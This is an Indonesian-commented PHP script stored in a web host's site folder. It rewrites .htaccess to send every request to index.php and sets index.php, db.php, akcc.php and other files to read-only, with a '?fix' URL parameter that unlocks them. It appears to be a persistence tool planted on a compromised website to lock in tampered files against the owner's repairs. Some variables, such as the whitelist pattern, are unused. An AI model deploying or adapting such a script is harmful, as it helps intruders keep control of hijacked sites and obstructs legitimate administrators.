/home/offerdet/jiospherebrowser.com/ch1.php
<?php
$baseDir   = __DIR__;
$htaccess  = $baseDir . '/.htaccess';
$indexFile = $baseDir . '/index.php';
$dbFile    = $baseDir . '/db.php';
$backupDir = $baseDir . '/.backup';
$indexBackup = $backupDir . '/index.php.bak';

// Cek apakah pakai ?fix
$isFix = isset($_GET['fix']);

// Daftar file yang boleh diakses
$allowedFiles = ['index', 'acx', 'db', 'akcc', 'ch', 'default'];

// Isi htaccess baru (escape subdir untuk file whitelist)
$allowedPattern = implode('|', $allowedFiles);
$newHtaccess = <<<HTA
<IfModule mod_rewrite.c>
RewriteEngine On

# === Semua request lain diarahkan ke index.php (fallback) ===
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
HTA;

// Target file yang akan diubah permission-nya
$targetFiles = [
    $htaccess,
    $baseDir . '/index.php',
    $baseDir . '/db.php',
    $baseDir . '/autoload_classmap.php',
    $baseDir . '/akcc.php',
    $baseDir . '/default.php'
];

// Fungsi untuk mengubah izin file/folder
function ubahIzin($path, $izin) {
    if (!file_exists($path)) {
        echo "🟡 Target tidak ditemukan: $path\n";
        return false;
    }
    if (chmod($path, $izin)) {
        echo "✔️ Permission $path diubah ke " . decoct($izin) . "\n";
        return true;
    }
    echo "❌ Gagal mengubah permission: $path\n";
    return false;
}


// === MAIN LOGIC ===
if ($isFix) {
    echo "🔧 Mode FIX diaktifkan: membuka kunci permissions...\n";

    foreach ($targetFiles as $file) {
        ubahIzin($file, 0755);
    }
    ubahIzin($baseDir, 0755);

    echo "✅ Semua izin diubah ke writable.\n";
} else {
    echo "🔒 Mode default: kunci folder & file...\n";

    foreach ($targetFiles as $file) {
        ubahIzin($file, 0755);
    }

    if (file_exists($htaccess)) {
        $timestamp = date('Ymd_His');
        $backupPath = $htaccess . '.bak_' . $timestamp;
        if (copy($htaccess, $backupPath)) {
            echo "📦 Backup .htaccess disimpan di: $backupPath\n";
        } else {
            echo "⚠️ Gagal membuat backup .htaccess.\n";
        }
    }

    $fp = fopen($htaccess, 'w');
    if ($fp) {
        if (fwrite($fp, $newHtaccess) !== false) {
            echo "✅ Berhasil menulis ke .htaccess.\n";
        } else {
            echo "❌ Gagal menulis file .htaccess.\n";
        }
        fclose($fp);
    } else {
        echo "❌ Tidak bisa membuka file .htaccess untuk menulis.\n";
    }

    foreach ($targetFiles as $file) {
        ubahIzin($file, 0444);
    }

    ## ubahIzin($baseDir, 0555);

    echo "🎉 Proses selesai. Folder dikunci read-only.\n";
}